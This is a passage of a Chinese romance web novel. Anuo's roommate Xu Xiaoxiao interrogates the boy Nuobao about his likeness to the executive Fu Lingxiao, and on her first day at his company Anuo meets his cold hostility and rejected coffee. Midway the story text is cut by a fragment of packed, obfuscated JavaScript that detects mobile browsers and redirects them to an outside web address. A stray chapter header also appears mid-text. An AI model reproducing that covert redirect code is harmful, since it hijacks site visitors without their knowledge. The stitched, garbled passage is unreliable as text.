顷刻间,天空一声巨响,许晓筱僵在原地呆如木鸡。 -- “啊啊啊……” 许晓筱躺在沙发上,随手抱起一个靠枕就是一顿乱拳伺候。 这症状,看得安诺和诺宝连连后退好几步。 安诺还好,只是往沙发旁边靠了靠。 而诺宝一溜烟躲到了三米开外的餐桌后面。 “咋啦咋啦?”安诺询问人的话术来来回回还是那几句。 许晓筱一拳砸在靠枕上,咬牙切齿的: “没怎么。” 得,问了也是白问。 安诺默默瘪嘴角。 无语完,又问: “要不要给你冲点热水过来?” 潜意识里,她觉得许晓筱今天性情如此暴躁多半是因为来大姨妈了。 许晓筱拒绝了她的好意。 “不了,谢谢。” “那你吃饭了吗,要不要给你加双筷子?” 安诺又问。 这回许晓筱倒是应声回答道:“要。” 她肚子早饿了,生气归生气,饭还是要吃的。 …… 午饭后,许晓筱主动接任了刷碗的活,顺带着把诺宝也捎上一起。 但她这么做,其实主要是想单独和诺宝待一起方便她兴师问罪而已。 诺宝一进厨房,许晓筱就拉厨房的玻璃门,将其用力反锁上。 “你干嘛?”诺宝有点被吓着了。 许晓筱:“干嘛,除了找你算账还能干嘛?” 紧接着她便对着诺宝一阵“严刑逼供”道:“说,到底怎么回事儿?傅凌霄根本没私生子,那你这私生子身份到底是怎么来的?” 诺宝听完直想发笑: “我什么时候说我是他私生子了?” 小家伙插着小腰,昂着下巴,理直气壮得很。 笑话。 他可是傅凌霄唯一的长子傅一诺,以后整个傅氏集团都是他的。 何来私生子一说。 简直是倒反天罡。 “不是私生子那你怎么会有傅凌霄的手机,还跟人家长得这么像?”许晓筱又发问。 说起这个整个人气到不行。 正是因为这些她才会认为诺宝是傅凌霄的私生子的。 “手机?”诺宝重复道,语气疑惑。 困惑完,瞎扯道:“手机是我爸爸的朋友的朋友落我们家的,被我捡到的了,怎么啦?” 手机是从2030年带过来的,这肯定不能告诉许晓筱,说了许晓筱也不一定会相信。所以诺宝只能找这么个借口糊弄许晓筱。 但许晓筱又不是傻子,她不信诺宝的话,立马反问人说: “那你为什么会知道手机密码?” 诺宝:“因为我看见那人解过呀?” 许晓筱:“那个人是傅凌霄?” 诺宝:“不是。” “那他怎么会知道傅凌霄的手机密码?” “你问他呀。” 许晓筱:“……” “行。” 许晓筱认栽了,转而问起另外一个问题: “为什么你和傅凌霄长得那么像,请回答。” 说最后一句话时,许晓筱一只手做出话筒模样朝诺宝递了过去。 诺宝脑子特灵光地说:“我怎么知道,你去问老天爷啊。” 许晓筱:“……” 败了败了,彻底败了。 这边两人刚吵闹完,这时安诺在外面不知道弄倒了什么东西,一道巨大的破碎声骤然响起。 “碰”的一声,威力极强,整个公寓仿佛都在颤抖。 诺宝和许晓筱更是被吓得心惊肉跳,急忙拉开厨房玻璃门跑过去看。 “我的天呐。”赶到事故现场的许晓筱直接发出一声惊叹。 诺宝也跟着“我滴妈呀”。 安诺则是一脸的尴尬: “呵呵呵,那个,我真不是故意的。” 她打碎的是个花瓶。 那花瓶摆在电视墙的一侧墙角处,颜色艳丽,有半人高,只是面上布满了灰尘。 本来安诺只是想擦一下那面上的灰尘的,谁知道力道没控制好,刚抹了两下花瓶就重心不稳地倒地上了。 剧烈撞击下,花瓶直接四分五裂,七彩碎片散落一地。 那画面凌乱却也美丽。 就是好好一个花瓶就这么打碎了,实在是有些可惜。 安诺暗自轻叹一口气。 一时之间,氛围down到不行。 许晓筱安慰她: “哎呀没事儿没事儿,碎碎平安,岁岁平安。” 可安诺依旧心情不佳。 冥冥之中,她总觉得这摔碎的花瓶仿佛就是个不祥之兆。 这时,原本阳光明媚的天空也十分应景地变成了乌云密布的模样。 一下子,安诺的心情更不好了。 -- 这边,傅氏大楼16层,傅凌霄站在偌大的落地窗前,也在欣赏窗外的阴云变幻。 目光盯着层层叠叠的乌云,但心思却有些无意识的飘渺和涣散。 “她叫安诺。” “她是一个对我很好很好的姐姐,她对我很好,就住我隔壁。” “安诺姐姐没有妈妈,听爷爷说,安诺姐姐的爸爸在外面有别人…………于是安诺姐姐只能跟着爷爷一起生活,可安爷爷是个要求很高的人,只允许安诺姐姐成功,不允许她半点失败。” “实习,工作,结婚,生宝宝,这里面每一件事情在安爷爷眼里都是大事情。只要有一件没办好,安爷爷就永远不会满意安诺姐姐。” “就上次高尔夫球场见的那个小孩诺宝,你不知道吧,他的全名其实是傅一诺!就是,你名字傅凌霄的那个傅。” “所以,其实他是你儿子懂吗?” 前面那个声音是诺宝的,话是诺宝在绿茵高尔夫俱乐部故意说给傅凌霄听的。 而最后面的那段话,毫无疑问是许晓筱今天中午在地下车库里追着傅凌霄说的,话自然也是说给傅凌霄听的。 现如今重新回想起这些,两件事情再一串联,傅凌霄都忍不住轻扯唇稍。 笑了。 呵,傅凌霄,安诺,傅一诺。 显然他这是误会什么了。 甚至在他眼里,安诺是所有企图接近他的女人中手段最拙劣的一个。 (二) 第二天,新的一周开启。 周一。 正好是安诺正式去傅氏集团报道的日子。 上班第一天,安诺比谁都紧张。 为此她还特意在网上学习了很多职场新人生存法则。 “少说话,少惹事。” “勤学勤问,避免低级错误。” “可以不服气,但不能不服从。” “与人善交,但防人之心不可无。” …… 等等条条框框的道理,安诺几乎倒背如流。 出门前,为了让安诺放轻松一点,许晓筱和诺宝站在大门口专门给她跳了一段加油操。 许晓筱手里拿两把刷子,又蹦又跳的:“安诺安诺,所向无敌。” 诺宝附和:“所向无敌。” 人小小的矮矮的,手里也拿了两件东西,但不是刷子,而是两张红白相间的花毛巾。再一配上小家伙的灵魂舞步,真跟扭东北大秧歌似的。 差点没把安诺笑岔气过去。 “行了行了,别跳了你俩。” 她嫌弃地制止两人,嘴上却还是憋不住地直想发笑。 大清早的,怕扰民,许晓筱和诺宝听劝地没再继续跳了。 不过两人还是小小声地再次为安诺加油助威了一次。 “加油加油。” 许晓筱带头,双手还作出加油的姿势。 诺宝立马跟着:“加油加油,加油!” 深怕自己落了下风,小家伙还特意多喊了一次“加油”。 手上动作也十分给力,是超人腾飞的那个手势,看着就热血又起劲。 看得安诺心里暖洋洋的。 “好的,加油。”她回诺宝和许晓筱道。 …… 毕竟是报道的第一天。 安诺很是小心谨慎。 这次她学聪明了,无论如何都不坐最里面的那台电梯,切实履行“少惹事”的职场法则。 等到工位时,为了给大家留下一个较好的第一印象,她也是第一时间主动和大家打招呼送礼物的。 以上,办公室的气氛要多欢乐有多欢乐,要多和睦有多和睦,直到…… 安诺任职于总裁办事处,办公室紧挨着傅凌霄的总裁办。 根据前辈们的说法,虽然两个办公室仅仅只有10米之隔,但傅凌霄百八年都不会来他们办公室一次。 通常只有他们给傅凌霄跑腿的份。 今天却不知怎么的,傅凌霄忽然长身玉立地出现在了办事处大门外。 众人脸色骤变,下一秒,马不停蹄地找地方藏东西。 藏的正是安诺送给他们的见面小饼干。 有的人把饼干塞抽屉里,有的人手忙脚乱的直接扔电脑桌上,还有的双手一背,以为这样傅凌霄就看不到她手里的东西了。 这里面,只有安诺一个人傻乎乎地还在给人递吃的。 “来来来,我这里多的很。” “吃完了自己去我哪里拿啊。” 在傅凌霄的眼皮子底下,大家都不敢轻易开口说话。 安诺却以为是别人在和她客气,直接将一大把饼干塞到人家怀里,还宽慰人道: “甭跟我客气啊。” 全程下来,大家给安诺使了无数个眼色。 安诺丝毫没有觉察,全当别人不好意思接受她的礼物了。 等到第二圈饼干发完时,安诺这才心满意足地转身准备坐回自己的工位去。 这刚一转身,脸上的笑容瞬间凝固了。 再后来,笑容不受控制的,一点一点的变暗变淡,直至全部消失。 傅凌霄就站在大门口,不言也不语,光是一身黑西服黑皮鞋的穿着打扮就令人后背发凉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284312|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再配上那张寡淡无情的脸,活像地狱来的使者,浑身散发着低气压。 今天傅凌霄整个人的情绪都不对劲。 办公室的所有职员都感觉得到,包括安诺。 为啥不高兴? 就因为她在办公室里发小礼物? 不应该吧? 要不…也给他一点? 心慌慌的,安诺决定问傅凌霄道:“你也…来点?” 说着就把一块饼干递了过去,小心翼翼的。 傅凌霄冷眸看她一眼,而后… 走了。 同样的冷眼相待,同样的只言不语。 安诺的反应和当时许晓筱在地下车库里的神色一模一样。 简直被气到想笑。 这人,这人有病吧!? … 这边许晓筱虽然没来傅氏集团上班,但却同样备受煎熬着。 昨天她去找傅凌霄的事情她没和安诺讲。 因为不敢说。 本来想的好好的,要替朋友行侠仗义打抱不平来着,结果谁能想到最后拉了坨大的。 捅出这么大个篓子,许晓筱自然是能瞒一天是一天。 可傅凌霄毕竟是安诺的顶头上司,许晓筱怎么想都觉得自己惹恼了傅凌霄,傅凌霄肯定不会给安诺好脸色看的。 “哎呀怎么办啊?” 许晓筱都快急哭了。 此时她正送诺宝去托幼园的路上。 今天是安诺上班的第一天,也是诺宝去托幼园上学的第一天。 昨晚,许晓筱给她哥和嫂嫂打了通电话。 诺宝这么小,安诺又为诺宝上学的事情那么着急上火的,许晓筱实在是不忍心,只能一通电话给她哥嫂打了过去。 嫂嫂一听诺宝是黑户,那反应跟之前的中介差不多。 瞬间不想说话了。 但架不住许晓筱的软磨硬泡,最后不得不同意了下来。 电话挂断后,嫂嫂也是给力,一个小时后便回了话,说现在正值暑假放假期间,所以安排诺宝先去托幼园过渡两个月再说。 管他托不托幼所的,能上学就行。 当时可把安诺和许晓筱高兴坏了。 至于后面诺宝上学接送的问题,安诺忙着去公司报道,送诺宝上学的事情自然就落到了游手好闲的许晓筱身上。 可眼下许晓筱的心思根本不在这件事上。 整个人愁眉苦脸极了。 两人一高一矮地走在大街上。 诺宝看不下了,昂着小脸问人道: “怎么啦,我可爱的姨母姐姐?” 因为许晓筱成天在他耳边念叨“姨母姨母”的,他便很自然地学会了“姨母”这个词语。 “没怎么。”许晓筱拖着嗓音回答,身体有气无力的。 找傅凌霄的事情她没跟任何人讲过,包括诺宝。 上次回来和诺宝对峙完,诺宝后来问过她类似“为什么知道傅凌霄没有私生子”的这种问题。 当时她给出的回答是傅凌霄没有女朋友的八卦消息都在全公司传遍了,而她哥正好在傅氏财务处上班,所以通过她哥这点关系想要打听点什么小道消息根本不是什么难事情。 话里前面的两句话许晓筱可没撒谎,一是她哥真在傅氏财务处任职,二是傅凌霄没碰过女人的八卦消息真的全公司都知道。 只不过碍于诺宝年纪尚小,于是许晓筱把“没女人”改成了“没女朋友”。 当时忽悠诺宝时,许晓筱脸不红心不跳的,诺宝也便没对她起过多的疑心。 要不然凭着小家伙那股激灵劲儿,要是让他知道她去找过傅凌霄。 结果可想而知,肯定不会给她好果子吃的。 …… 许晓筱的大嫂提前打点好了所有关系。 诺宝去托幼园报道的流程并不复杂。 20分钟后,许晓筱从托幼园走出来,诺宝的事情处理好了本来多高兴的一件事情,可她就是开心不起来。 苦大仇深的,一张脸皱成倭瓜样。 实在憋不住了,给安诺发消息打探道: 【怎么样?第一天上班有没有遇到什么不顺心的事情?】 主要还是想知道傅凌霄有没有公报私仇为难安诺。 结果安诺迟迟没给回复。 …… 安诺被一个男特助带着去傅凌霄的办公室时,手机被孤零零地放了办公桌的小角落里。 “叮咚”“叮咚”。 最开始响起的是清脆的短信来电铃声,之后“嘟嘟嘟”的,许晓筱直接一个电话打了过来。 最后自然是无人接听。 “怎么回事啊?” “难不成,真的,出什么事情了?!” 许晓筱独自一个人晃荡在车水马龙的街头。 安诺短信不回电话不接的,把她愁得恨不得一秒空降到安诺面前一探究竟。 如她担心的那样,安诺确实出事情了。 不是什么大事,但挺膈应人的。 安诺不知道是不是自己太敏感了,她总觉得傅凌霄从早上开始就故意针对她。 早上不接她的小饼干也就算了。 新人入职见面会上,傅凌霄还不止一次无视她,甚至打断她的发言。 新人入职见面会是艾丽主持的。 总裁办事处总共来2位新人,艾丽觉得有必要主持一个见面会让大家互相熟悉一下,此外会议上也好给新人定规矩分任务。 作为总裁办事处所有人都必须誓死效力的对象———傅凌霄,自然也参加了这次见面会。 会议总共持续了半个小时,傅凌霄一来简单说了两句话,之后便是安诺和另外一名新人向大家做自我介绍。 前面一个新人介绍时傅凌霄都好好的,神色耐心且平静。 等到安诺说话时,他的眸色肉眼可见的冷淡下来。 那注视人的目光充满鄙夷与审视。 不知道的,还以为安诺触犯了什么天条律令。 弄的安诺说话都不自觉磕巴起来。 后来艾丽分配任务时,刚一点到安诺的名字傅凌霄便猝不及防地扔出一句:“你们继续”。 说完便起身走了。 甚至连一句“我有事需要先离开”的借口都不愿说给大家听。 最后,留给大家的只有一道修长且冰冷的背影而已。 会议室里,所有人都挺蒙的。 而安诺除了发蒙以外,还有密密麻麻的尴尬袭上心头。 骤然间,她的脸颊滚烫滚烫的。 整个会议下来,连同事们都看出来了傅凌霄是在故意不给安诺好脸色看。 会议结束时,一个叫李月的女孩直接凑过来小心问道: “安诺,你是不是…哪里得罪总裁了啊?” 关于这个问题,安诺也想知道,她到底哪里惹着傅凌霄这个活阎王了? 早上,女孩想了一个上午,即使现在站在傅凌霄的办公室里看着傅凌霄本人,安诺也还是想不出这个问题的答案来。 来傅凌霄办公室并不是安诺自愿来的,而是被一个叫赵启的人带进去的。 赵启和艾丽一样,也是傅凌霄的特别助理。 和艾丽不同的是,赵启马上要升总助了,资历自然在艾丽之上,年纪也比艾丽大一些。 艾丽看上去二十七八岁的样子,而赵启大她两岁,气质更显成熟稳重。 以上,从某种程度上讲,安诺觉得自己还算是幸运的。 因为能力绝佳的赵启,在她和另外一个新人之间挑选了她作为副手进行培养。 赵启是傅凌霄的助理,安诺则作为赵启的辅助共同为傅凌霄效力。 要为傅凌霄做事情,安诺自然要跟着赵启从零开始学习很多事情。 有这么优秀的“老师”带着,安诺也十分笃定自己肯定能学到不少东西。 眼下,赵启站在傅凌霄的办公桌前,手里拿着一份安诺看不懂的资料在向傅凌霄做工作汇报,而安诺捧着笔记本乖乖站在赵启的斜后方。 初入职场第一天,安诺其实听不太懂赵启和傅凌霄的对话内容,但她还是尽力的在笔记本上做着记录。 这也是赵启交代给她的第一个任务。 让她即使什么都听不懂也要做笔记,记当时的所思所想,哪怕是解析傅凌霄的一个眼神也行。 一开始,安诺挺懵的。 不明白她为什么要剖析傅凌霄的眼神。 当她向赵启问出自己的疑惑时,赵启意味深长地叮嘱她道: “伴君如伴虎,作为总裁助理,你首先应该学会的是如何与自己的顶头上司打交道。” 好一个“伴君如伴虎”。 光是听着,就能让人想到古代文臣武将们在君王面前的那种小心,拘谨,与诚惶诚恐了。 别说,安诺觉得此时此刻的她和赵启真和那电视剧里进京面圣的臣子一般模样。 身子端站着,每说一句话都得把握好分寸与尺度。 而傅凌霄就是那皇权在手的君王。 位高权重,睥睨所有。 赵启让她在笔记本上记录下所有感受,安诺真在本子上记录下了这么一句话: 傅凌霄像个君王,而且是个暴政的君王。 24. 第24章(双更合一) 写完,安诺偷着乐呵了一下。 乐呵完,两道酸痛感立马从小腿遍布到大腿根部。 偷摸瞄看一下傅凌霄办公桌上的时钟,都10点半了。 他们10点进来的,这意思是他们已经站了整整30分钟了。 暗搓搓的,安诺垫了垫脚后跟,一张小脸欲哭无泪的。 想当年,大学站军姿还站30分钟休息10分钟的呢。 可傅凌霄和赵启还热火朝天地谈着事情,看样子她还得继续在这“罚站”下去。 不得已的,安诺只能咬紧牙关硬挺着。 终于,又过了10分钟后,傅凌霄扔出一句“行吧今天先说到这里”,标志着赵启汇报的结束,同时也意味着安诺可以结束“罚站”了。 这一刻,安诺瞬间觉得外窗的天气都明媚了许多。 结果傅凌霄看着她来了一句: “把地上的资料处理一下。” 这是安诺进来以后傅凌霄对她说的第一句话,语气很不好,完全是命令人的语气。 安诺心梗了。 她并不反对傅凌霄安排她干活,他是老板,安排下属搬资料是他的权力。她也不是不愿意搬那些资料,作为职员,她有义务听从老板的安排。 自始至终,她在意的只是傅凌霄对她的无故轻视,以及莫名的针对。 想到这些安诺更加心梗了。 心梗的同时,双腿也酸痛得厉害。 算了,还是赶紧搬完东西回工位休息吧。 眼下,安诺只有这么一个简单的愿望。 只是这资料在哪里啊? 安诺打量了好大一圈才在傅凌霄的办公桌桌腿旁边看到了一打资料。 傅凌霄不说起这事,她还真没注意到那里堆了这么多东西。 那资料可真不少,足足半人高,都快赶上傅凌霄的办公桌了。 赵启是个好人,知道安诺一个小姑娘肯定抱不动,于是主动揽活说还是让他来吧。 但傅凌霄偏偏和安诺杠上似的,一声令下道: “让她来。” 说话时,凌冽的目光落到安诺身上。 抱就抱,不就是抱点资料吗? 一次抱不动,那就抱两次,两次抱不动,那就抱三次。 有什么了不起的? “好的,傅总。” 负气地说完这句话后,安诺绷着一张脸就去搬资料。 赵启赶紧找台阶,又说了一次还是他来吧,结果被安诺一口回绝了。 “不了启哥,我自己来。” 说完,她用力看了傅凌霄一眼,而后弯腰整理资料。 见此情形,赵启自然也不敢再多说什么。 赵启走后,安诺在傅凌霄的眼皮子底下来来回回跑了三次。 三次,整整三次她才把资料全部搬完。 前两次,傅凌霄全然把安诺当成空气似的,完全没抬头多看她一眼。 人平静地查看着手中的各种文件,时不时的,又曲指敲打几下键盘在电脑上搜索核对着什么,一副忙碌认真的样子。 到最后一次时,安诺抱的资料是最多的,足足40厘米高,都没过她的下巴了。 也正是这一次,傅凌霄抬眸,视线先是扫过那搭厚厚的文件,而后落在安诺那张倔强的脸上。 那是一道悠长的注视,眉心一瞬微蹙。 安诺甚至有些怀疑自己是不是眼花了,竟然从傅凌霄的目光里看出了那么一丝丝的怜悯。 仿佛只要她愿意低头服个软,他便能大发慈悲的宽恕她。 可是低头? 她凭什么低头? 她又没做什么坏事情,为什么要跟他服软。 最后恶狠狠的,安诺瞪人一眼走了。 傅凌霄的神色也跟着一瞬变冷。 -- 搬完最后一次资料后,安诺解脱般地坐在工位上。 要命,真要命呐。 心里哀嚎着,安诺不停地用手给自己捶着小腿。 脚踩高跟鞋“罚站”40分钟已经够她累的了,后面又来来回回的搬重物。 此刻,安诺觉得双腿酸麻肿疼得快要断了似的。 这时好不容易清闲那么一会儿,结果一颗脑袋突然从对面工位冒出来。 是李月。 安诺吓一大跳。 “你干嘛?”她问人。 “没什么。”李月回答她,“就…” 欲言又止的,一看就是心里藏了事情。 安诺听着都着急,“就什么?” 李月左右探看了一眼,见大家都在忙自己的事情,她往安诺这边又凑了凑,小声说道: “偷偷告诉你啊,总裁喜欢喝葡萄酒。” 安诺甚是不解地眼睫扑扇好几下。 眼底全是清澈,仿佛在说所以这和她有什么关系吗。 李月“恨铁不成钢”地气红脸颊。 “总裁,喜欢喝,葡萄酒。” 她再次重复道,一字一句的,尤其是最后面的三个字,就差嚼碎喂到安诺嘴里了。 她其实想表达的意思是,也许安诺可以投其所好,用一瓶红酒稍稍拉拢一下傅凌霄,以此缓解两人之间的紧张关系。 可安诺这才第一次出来实习,哪里有她们这些职场老油子们道行深。 所以无论李月怎么提示,安诺都一副茫茫然的样子盯着李月,把李月气得都快捶胸顿足了。 缓了一会儿后,李月张嘴又想说什么,结果安诺的电话响了起来。 由此,两人的对话被迫打断。 安诺手忙脚乱地拿着手机走出了办公室。 而李月站在自己工位上,无奈极了。 这孩子,怎么就听不懂我的暗示呢。 -- 电话是许晓筱打来的。 怕打扰到大家,所以安诺来办公室外面接的电话。 电话一接通,立马传来许晓筱的一通臭骂。 “安诺,你怎么回事啊?为什么不接电话?” “你知道我给你发了多少消息,打了多少电话吗?” “我快担心死你了,你知不知道?” “才上班第一天,你有这么忙吗,忙到回条信息的时间都没有?” 骂到安诺根本插不上一句话。 “我…” 刚说一个字,许晓筱又开始了。 “你什么你,你要是再不接电话我都都要冲到你公司里了。” 安诺:“啊!” 最后一句话可把她吓得不轻。 “你来我公司干嘛呀?”她紧接追问道。 许晓筱话赶话地回答:“来看有没有人欺负你啊。” 安诺又是一声“啊”,语气里全是震惊。 因为不了解事情的来龙去脉,所以她觉得许晓筱的言行举止有些过于无厘头了。 震惊之余,既觉得感动又觉得好笑。 “大姐,不就是第一天上班吗,你有必要这么担心吗?” 她故意和许晓筱打趣。 可许晓筱没心思和她说笑,她是真担心安诺出什么事情。 其实她人已经赶到傅氏集团外面了,要不是安诺即使接通电话,估计这会儿她已经冲进去了。 也幸亏安诺最后接了电话,否则许晓筱自己都不知道自己会做出什么事情来。 然而人就是这么的神奇且矛盾。 明明为了安诺什么都可以做得出来的许晓筱,却偏偏不敢如实交代出自己其实找过傅凌霄的事情。 一方面是她是真的不敢,另一方面其实这整件事情解释起来太复杂了。 非得解释的话,那就必须从诺宝和她偷偷去高尔夫球场见傅凌霄开始说起。 可诺宝千叮咛万嘱咐过,不能让安诺知道这件事情。 这一下子把许晓筱夹在中间,简直是左右为难。 正因为什么都不能说,所以许晓筱才会那么的愧疚。 “那个,今天真的没人欺负你吗?”她再次担心地问道。 安诺站在楼梯口处,平时大家都坐电梯,步行梯这边没人,清静,安诺特意选的这个地方和许晓筱通话。 听到许晓筱的问话时,安诺往旁边的窗口挪了挪。 凉风灌进来,女孩笑着回答说:“挺好的,没人欺负我。” 因为不想让许晓筱担心,所以她说谎了。 许晓筱半信半疑的。 “真的?”她不放心地再次问道。 安诺顿了一回儿,脑海中全是傅凌霄对她的各种冷眉冷眼。 无奈的,女孩笑了。 笑完,选择继续撒谎道:“真的。” -- 和许晓筱打完电话后,安诺重新回了办公室。 神奇的是上午一个上午傅凌霄真的再没找过安诺麻烦。 这让安诺在午休时安安心心地睡了个午觉。 午休完,赵启掐着时间点从隔壁过来给安诺安排工作任务。 赵启是预备总助,艾丽是特助,两人级别高。 所以单独在另外一个办公室里办公。 而安诺所在的办公室总共有四个人,除了她以外,还有同样是新人的吴箐,以及老职员李月和孟子潇。 早上安诺问过李月平时他们都需要做什么,李月给她的回答是他们办公室的四个人啊,纯粹就是四块砖,哪里需要哪里搬。 翻译过来就是,打杂的。 后来等她听完赵启给她安排的任务时,安诺觉得李月说的没错,他们四个确实是打杂的。 今天赵启总共分配了两个任务给安诺。 一是用Excel,把最近两个月以来他们办事处所有人员包括傅凌霄本人的出差费用系统地整理成一个表格,然后送去财务处核对那些报销完成了,那些还没报销下来。 二是,每天记得准时给傅凌霄冲咖啡送过去。 “记住,黑咖啡,不加糖。时间是每天早上9点半,以及每天下午3点。” “直接用你们办公室的咖啡机冲就可以,咖啡豆用圣海伦纳这个牌子。待会儿你先问问办公室的其他人还有没有剩余的,没有的话你先在网上下单,然后再去找财务报销。” 赵启事无巨细地叮嘱着,安诺飞快地做笔记。 【早上9点半,下午3点。】 【胜】,划掉,【圣】,又划掉。 因为没听过“圣海伦纳”这个品牌,所以安诺不确定到底是哪个“sheng”,哪个“hai”,哪个“lun”,以及哪个“na”。 不得已的,她打断了赵启。 最后是赵启亲自在她本子上写下了“圣海伦纳”四个字。 事后,安诺专门在网上查了查“圣海伦纳”这个品牌的咖啡豆。 不查不知道,一查吓一跳。 514RMB/磅! 1磅约等于0.9斤。 所以一斤不到的咖啡豆需要500多块钱! 换算完,安诺第一反应是赶紧问对面的李月: “月月,傅傅凌,不对,傅总喝的咖啡豆还有的吧?” 一时情急,她差点直呼出傅凌霄的大名。 好在中途反应过来改口叫了“傅总”。 赵启给安诺交代工作的时候,李月和孟子潇正带着李月在外面跑资料,所以不知道这个事情。 这会儿听到安诺问起,她用脚轻踢了一下安诺的柜子,示意道: “有啊,你抽屉里不就有一大包吗?” 安诺一惊:“啊,我抽屉里?” 李月:“嗯,你抽屉里。之前你哪里一直没人坐,所以我们就把傅总的咖啡豆单独放哪儿了。” “咋了,启哥让你给傅总送咖啡?” 赵启虽然岗位高大家一截,但一直很平易近人,所以大家都亲切地叫她“启哥”。 “昂。”安诺一边回答一边查看自己的柜子,果然,第一个抽屉的最里面确实有一个黑棕色包装的袋子。 将其拿出来一看,还真是“圣海伦纳咖啡豆”。 摇一摇,大概还剩半袋的样子。 安诺这才长松一口气。 她已经够穷了,她可不想上班第一天就倒贴五六百去给傅凌霄买咖啡豆。 正高兴时,对面李月问她:“你以后真的要给傅总送咖啡吗?” 安诺挺懵的:“对啊,怎么啦?” 孟子潇带着新人吴箐刚好也跑完资料回来了,刚一进门,李月就异常兴奋地通知孟子潇说: “欸潇潇,我们以后不用给傅总送咖啡了。” 孟子潇眼睛一亮:“啊!真的吗?” 李月:“真的,不信你问安诺。” 孟子潇并没有问安诺,只是扭头看了一眼安诺后便确信了李月的话。 而后两人就那么明晃晃的当着安诺的面击掌庆祝起来。 “噢耶,太好了!” 安诺却懵圈了,不就是以后不用再去送咖啡了吗? 她们怎么这么开心啊? 难不成是…傅凌霄太恐怖了? …… 下午3点,小姑娘准时准点出现在傅凌霄的办公室门外。 “咚咚。” 她轻叩两下大门,傅凌霄清凉的嗓音随即响起。 “进。”他应门道。 之前发生了太多不愉快的事情,可安诺打从心里还是希望和傅凌霄能够好好相处的。 这是她的第一份实习工作,她不想就这么不了了之的结束。 于是进门前,她再三叮嘱自己道: “微笑,一定要微笑!” 说着脸上立马露出了一抹大大的笑容。 可惜看着略微有那么一丝丝的不自然。 上午的那些事情,她现在已经没那么生气了。 借着这次送咖啡的机会,她想好好拉拢一下自己和傅凌霄的关系。 所以,迫使自己保持微笑的,安诺推开了傅凌霄办公室的大门。 傅凌霄低头审批着文件,并不知道今天送咖啡的人是安诺,直到安诺走过去把咖啡双手递到他面前时,他 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安诺暗自提醒自己道。最后不出意料的,她又对傅凌霄露出了一抹笑容。 不过这次不是假模假样的露齿笑,而是淡淡的,客气又不失礼节的薄笑。 “是这样的傅总,以后我会一直给你送咖啡。” 她解释道。 任务是赵启安排给她的,但安诺并不想把这件事情牵累于赵启,所以她没提赵启的名字。 赵启是个好人,一直耐心的教带她。 傅凌霄要讨厌,那就是讨厌她一个人好了。 听完解释的傅凌霄没有立马回应安诺。 而是垂眸淡淡地扫看了一眼安诺递过来的咖啡。 扫看完,眼睫轻掀起的一刻目光又重新回到了安诺脸上。 而后他就这么静默的凝视着安诺,不说话,也不接过杯子。 宛如一种惩罚似的,安诺一只手捏着杯把手一只手拖着咖啡杯杯底不敢动弹一下。 至此,她已经举杯子举了差不多一分钟了,每多举一秒安诺都觉得自己的肩膀快要断了似的。 上半身微微下倾的缘故,后背和腰部也酸痛得厉害。 傅凌霄这狗男人是知道怎么折磨人的! 安诺甚至都怀疑早上傅凌霄就是故意的。 知道她穿的是高跟鞋,所以故意让赵启做了40分钟,整整40分钟的汇报。 这人真的是太可恶了。 早上酸麻胀痛的双腿刚刚好一点,现在连她的胳膊和腰也不放过。 “傅总,您的咖啡。” 安诺最后一次说道,咬牙切齿的。 前面两次,傅凌霄选择性失聪似的听不到安诺的咖啡问候。 这回耳朵好了,终于听得见安诺说什么了。 也终于接过了安诺递过来的咖啡杯。 但动作不紧不慢的,神色高傲且淡漠。 因为是第一次给傅凌霄冲泡咖啡,不知道浓度是否合傅凌霄的口味。 所以安诺没有第一时间转身离开。 而是静静的站在一旁等着看傅凌霄喝完是什么反应。 不过她猜想应该不会有太大的问题。 因为这杯咖啡是她在李月的指导下用咖啡机精准冲泡出来的。 在给傅凌霄泡咖啡的这件事情上,李月和孟子潇已经算是经验丰富的老手了。 有李月的指导,安诺不相信会出什么问题。 结果…事实往往不遂人意。 一口喝完,傅凌霄直接放下了手中的咖啡。 “太苦了。”他说。 安诺自然是没料想最后会是这样的一个结果。 “怎么可能?”她几乎脱口而出。 而傅凌霄讪讪地掀眼看她。 “太,苦了。”他重复强调道。 语气缓慢且冰冷,带着莫名的威慑力。 高高在上的强权者,眼里容不下别人的半点反驳。 安诺暗自咬牙。 “好的,我重新给你泡一杯。” …… 安诺从傅凌霄的办公室出来时,李月正好抱着一小打文件从门口路过,看见她手里端着满满当当的咖啡瞬间疑惑了。 “你怎么把咖啡端出来了?” 她不解地问安诺,后者低头看眼手里的咖啡,气说道: “他说太苦了。” 太生气了,安诺连“傅总”都不愿意喊了。 李月也好不到哪里去,整个人都快怀疑人生了。 “怎么可能呢?我们以前都是这么冲的啊。” 安诺讥讽地出声: “嘴刁呗,妖怪呗。” 阴阳怪气的,讽刺意味十足。 吓得李月将她一把拉到对面的墙角处,然后眼神示意安诺别乱说话。 傅凌霄的办公室就在旁边,她这是怕安诺胡言乱语的气话被傅凌霄听到。 安诺撇撇嘴巴,其实她心里什么都清楚。 “算了,你去忙你的吧。我重新去给他冲杯咖啡。” 说完最后一句话后,安诺独自往她们自己的办公室走去。 李月只能心有余而力不足地看着她走远。 十分钟后,安诺端着新冲好的咖啡出现在傅凌霄的办公室外面。 还是和第一次一样的流程,敲门,得到傅凌霄的允许后才推门而入,然后恭恭敬敬地把咖啡递到傅凌霄的面前。 只是和上次不同的是,她一进门傅凌霄就注意到了她的存在。 人冷着眸子就那么注视着她,从她进门开始一直到她走到他的面前。 像尊高贵的狮子。 “傅总,您的咖啡。” 熟悉的话术,安诺再次把咖啡递到傅凌霄的眼皮子底下。 这一次,她觉得傅凌霄但凡有点人性都不该再对她冲的咖啡有所嫌弃。 这已经是她冲泡的第二次咖啡了,不可能让她再去冲泡一次吧。 虽说她只是一个小小的实习助理,但她的时间也不能白白浪费在冲咖啡这件小事情上。 可惜她真的太高估了傅凌霄了。 “太淡了。” 这是傅凌霄轻抿一口后给出的答复。 听完,安诺攥紧拳头,火气直冲天灵盖。 然而令安诺万万没想到的是,这事还没完。 